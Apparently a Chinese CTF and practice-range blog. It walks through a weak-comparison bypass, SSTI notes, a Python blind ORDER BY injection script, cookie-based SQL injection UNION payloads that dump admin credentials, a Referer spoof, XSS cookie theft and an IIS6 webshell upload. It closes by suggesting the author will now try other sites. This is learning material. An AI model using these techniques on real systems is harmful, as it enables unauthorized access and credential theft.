验证时分别获取我们输入的数字以及随机生成数字进行比较,本题关键就是在这,这里并没有用强类型比较,而是用了弱类型比较。在弱类型比较里面,非零数在与true比较时是返回true的,所以到这里思路就很明确了,只要在我们提交购买彩票时把我们数据改成7个true就行了,但是在做题目的时候发现了一个问题,json数据怎么改。经过post,用py发包无果后才发现,这用burp就可以了啊。。。。。。

把数字改成true就行了,记得在读取数据的时候是以数组的形式,记得把numbers改为数组形式,要不然会以字符串形式读取字符,这就无法匹配了。
PS:布尔型变量在很多验证都能起到绕过匹配的作用,多加以应用。

Confusion1

SSTI-模板注入

这也是根据一道题目所学来的知识点,虽然没有做出来,但是这里还是值得记录一下。题目解析就不写了,只是写写一些要点。
对于我来说,目前接触到了很多由于攻击者进行恶意输入导致网页信息泄露,被攻击者获取权限的注入手段。比如最常见的sql注入,xss,代码注入,以及命令注入等。SSTI–服务端模板注入还是第一次接触。
SSTI注入主要发生在用户请求的地方,这个和xss有点相似,网页把用户查询的信息未经过严格的处理直接回显到了页面,根据不同的服务端模板,如果我们调用模板中的函数,就能在特定情况下利用其读取文件或者写入shell等操作。
具体详细可以参考这一篇文章:http://www.freebuf.com/vuls/83999.html。

flask模板中request

这道题目就是使用python的flask模板,在flask中前端需要发送不同的请求及各种带参数的方式,比如GET方法在URL后面带参数和POST在BODY带参数,有时候又是POST的表单提交方式,这个时候就需要从request提取参数。
下面是request可使用的属性,主要归纳一些常用的。
form:一个从POST和PUT请求解析的 MultiDict(一键多值字典)。
args:MultiDict,要操作 URL (如 ?key=value )中提交的参数可以使用 args 属性:

1
request.arg.key?key=value

values:CombinedMultiDict,内容是form和args。可以使用values替代form和args。
headers:请求头,字典类型。
data:包含了请求的数据,并转换为字符串,除非是一个Flask无法处理的mimetype。
method:请求方法,比如POST、GET。
PS:在过滤了某些关键词时可以使用args属性绕过。
通过调用py类中函数对于的索引来读取或者写入文件

order by注入

只能说自己实力还是太弱了吧,碰到sql注入题目都要花很久才能做出来。这一次是一道关于order by注入的一道题目,题目提示了select flag from flag,只要爆破出字段就行了。
题目有提供id,name,price三个排序方式,对于mysql来说,排序方式转化为二进制,那么在使用id排序时,id=1对应的就是0001,id=2对于的就是0010,而假对应的是0000,也就是说不改变排序方式,而真对应的是0001,在与2位异或时,2变成了0011,3却变成了0001,所以这里我们可以使用位异或结合布尔型来更改排序方式。
贴下我的垃圾脚本吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
import requests
list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_abcdefghijklmnopqrstuvwxyz0123456789"
r1 = ""
text = ""
flag = ""
for i in range(1,27):
for j in list:
url = "http://101.71.29.5:10004/?order=id^(substr((select flag from flag),%d,1)='%s') &button=submit"%(i,j)
r1 = requests.get(url)
text = r1.content
if text[949] == '3':
print j
flag = flag + j
break
print flag

记一次靶场的渗透实战

写在前面

之前几天在学linux以及docker的一些基本操作,昨天打一次ctf比赛发现自己水平还是那么菜,好在郁离歌师傅一句”太急了”点醒了我。然后之前靠着一手py搞到了一个靶场,现在刚刚好用到练练手。这一次的题目就是从这里面来的。

注入拿密码

初步观察

打开网站,发现信息量挺多的,不过不急慢慢找突破点。
点开首页,然后在接着点开其他链接发现这是一个asp动态网页。


既然这题目要我们通过注入,那就关注与数据库交互方面的内容。

找到注入点

在新闻界面发现了有与数据库交互的内容,一个查询界面通过id号来查询新闻内容。

这里我稍微尝试了一下,试着测试了一下,在get传参的时候有waf拦截了一些关键词查询,这里有两种思路可以选择,第一是通过一些技巧来绕过过滤,不过我在测试的时候发现了一个问题,这里连‘’都过滤了,其他可用函数也无法构造完整语句来查询。所以基本可以考虑第二种方式,去找其他注入点,凡是与数据库交互的都是可以注入的。
这里我抓了个包,方便我们找出其他交互的点。

抓包之后发现了还有一个cookie可以进行交互,这里可以尝试一下。
PS:其实这里我也没想到能这样,源码是通过request来获取id参数值,asp也一般都是通过request来传参,所以我们可以通过cookie来给id进行赋值,而cookie一般是很少过滤的。

开始注入

通过cookies managers+插件改cookie直接访问http://120.203.13.111:8001/shownews.asp,而不通过get的方式来进行传参。测试是什么类型的注入。值得注意的是,我在测试的时候发现cookie里面的+是被替换为了空格,所以在输入的时候要注意一下。
输入id=172-1的时候发现,它跳到了171的界面,那这个是数字型注入没得跑了。

1
2
id=171 order by 10 回显正常
id=171 order by 11 回显不正常

接着判断回显位数,不过这里需要猜列名,一般的话会有什么admin,admins,user等等,可以试着猜解一下。

1
id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin

这里显示出了回显位。

接着爆出username,password。

1
id=171 union select 1,username,password,4,5,6,7,8,9,10 from admin

找后台

现在用户名和密码到手,可以试着去找后台进行登入了。
尝试了一下发现后台为120.203.13.111:8001/admin/,然后输入密码和用户就行了,密码记得解个md5。

CSRF进后台

上面这个后台一眼就能看出是假的,所以应该还有真正的后台。
用工具扫了扫,发现一堆目录。

既然admin不行,那可以试试admin123

登入进去发现不太对。具体如下:


分析一下源码可以大致理解这里需要我们更改Referer,也就是从哪里传来的数据包,所以抓包改referer。
所以访问我们所要访问的页面,然后进行抓包。

修改http头,注意端口要一致,否则会出现无法响应的情况。

PS:还有一种方法是通过构造本地的链接去访问http://127.0.0.1/admin123/sysadmin_view.asp

XSS拿cookies

在测试的时候,我们在找注入点的时候发现了还有一个留言板的页面。

这里可以实验一下我们之前在xss挑战赛练习的骚操作。
测试的时候发现这里没有过滤任何东西,所以不用考虑绕过的一些技巧。
管理员会定时的来查看留言,那么我们只要构造一个导向链接把管理员的cookies导入到我们的接收平台就行了,这里就用网上提供的xss接收平台吧。
一键生成Payload,虽然自己也不太会写这些代码。不过能用就行了。

直接把payload丢到留言区等管理员查看就好。

cookie值到手。

传马拿shell

接下来就是找上传文件的地方了。这个ip不仅仅提供了8001端口,还提供了8002端口,8001两个后台都去过了所以接着去8002的后台看看。登入网址为:http://120.203.13.111:8002/admin/login.asp
修改cookie就能进后台了。

找到上传文件的地方。

制作图片马。

菜刀连接的时候发现并不能成功连接,错误提示了IIS6.0无法解析,具体原因我百度了一番。不成功是因为图片马无法被解析
IIS6.0是可以使用;,我又试着写了一个1.asp;1.jpg的小马上传,但是被检测出了无法上传。这里会检测是否是真的图片。百度的时候还发现了一个IIS6.0的解析缺陷,也就是类似cer,asa,cdx是被忽略没被过滤的,那我们可以试试把图片马后缀名改为cer试试。

成功连接,找敏感文件就行了,这里直接找到flag.txt文件。

提权

提权后续就不写了,对应的exp百度自行即可,说到底我自己也不会只是单纯的利用人家的工具而已,所以提权就不再往下写了。

写在后面

这算是一次完整的流程吧,经过这一次半实战的演练可以尝试去拿一些其他的站点了。
持之以恒!!

本站总访问量